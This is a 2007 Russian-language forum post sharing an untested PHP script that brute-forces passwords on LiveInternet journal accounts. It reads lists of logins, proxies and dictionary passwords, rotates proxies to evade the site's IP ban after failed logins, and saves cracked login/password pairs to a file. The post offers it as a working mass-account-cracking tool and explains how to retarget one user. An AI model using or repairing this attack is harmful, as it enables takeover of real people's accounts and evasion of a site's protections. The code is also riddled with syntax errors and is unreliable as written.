
15.04.2007, 06:54
|
|
Участник форума
Регистрация: 12.12.2006
Сообщений: 158
Провел на форуме: 1364740
Репутация:
114
|
|
Brut_beta ver
Написал скрипт брута, пока не тестил, так что смотрим критикуем (ток не особо, не гуру пока еще_..))) и тестим если все норм, возможны ошибки синтаксиса (скорее описки!! пока постил несколько успел увидеть)))
трудность - бан ip на 2-е минуты в случае 3-ех кратного повтора неверной аутентификации одного логина (решается динамической сменой прокси, по 1-у прокси на 2-е пары, тем самым список прокси зацикливается и избегается бан)
Брут НЕ сложных паролей. Рассчитан на массовый подбор юзеров, поэтому НЕ нужно класть огромный словарь на все случаи жизни!! Если необходим брут конкретного пользователя - скрипт легко модифицируется, НО проксей соответственно нужно много больше!!
Необходимо 4-и файла {
login.txt (здесь список логинов, каждый логин в новой строке)
proxy.txt (здесь список прокси вида IP ort, каждый в новой строке)
pass.txt (здесь словарь для брута; словарь нун скачать, имхо в сети их полно!)
succes.txt (сюда скрипт пишет пару логин и пароль в случае успешного совпадения)
}
PHP код:
<?php
//массив логинов
$f_log = fopen (login.txt, r);
$login = fread($f_log, 65000);
$name = explode('\n', $login);
fclose($f_log);
//массив проксей (в файле прокси разделены '\n'), порт и хост разделены ':'
$f_proxy = fopen('proxy.txt', r);
$proxy = fread($f_proxy, 65000);
$proxy_server = explode("\n", $proxy);
$n=count($proxy_server);
for ($i=0; $i<=count($proxy_server)-1; $i++)
{
$proxy_serv[$i] = explode(":", $proxy_server[$i]);
}
fclose($f_proxy);
//массив паролей из словаря))
$f_pass = fopen (pass.txt, r);
$passwd = fread($f_pass, 65000);
$pass = explode('\n', $passwd);
fclose($f_pass);
//собственно брут
for($n=0; $n<count($name); $n++)
{
$path = 'http://www.liveinternet.ru/journal_login.php?nick='.$name[n];
for($i=0; i<count($proxy_serv);$i++)
{
$fp = fsockopen($proxy_serv[i][0], $proxy_serv[i][1], $errno, $errstr, 30);
if (!$fp) {
echo "errstr". $errno "<br />\n";
} else {
for($p=0; $p<2; $p++)
{
$path .= '&password='.$pass[p];
$header = "GET $path HTTP/1.1\r\n";
$header .= "Host: 'http://www.liveinternet.ru'\r\n";
$header .= "Connection: Close\r\n\r\n";
//$headers .= "referrer: $hostname\r\n"; так как проверка данного заголовка не предусмотрена системой безопасности сайта этот параметр можно опустить.
// отправляем
fputs($fp, $header);
//получаем ответ и работаем с ним
$returndata = fread($fp, 65000);
$flag = '<title>Дневник '.$login': LiveInternet - Дневники,Новости,Форумы</title>';
$pos = strpos($returndata, $flag);
if ($pos) {
$succ = 'Для '.$login 'пароль: '.$pass;
$f_succes = fopen ('succes.txt', a+);
fputs ('succes.txt', $succ);
fclose($f_succes);
}
fclose($fp);
}
}
}
}
fclose($f_log);
fclose($f_proxy);
fclose($f_pass);
?>
Последний раз редактировалось mR_LiNK[deface_0nl; 15.04.2007 в 20:27..
|
|
|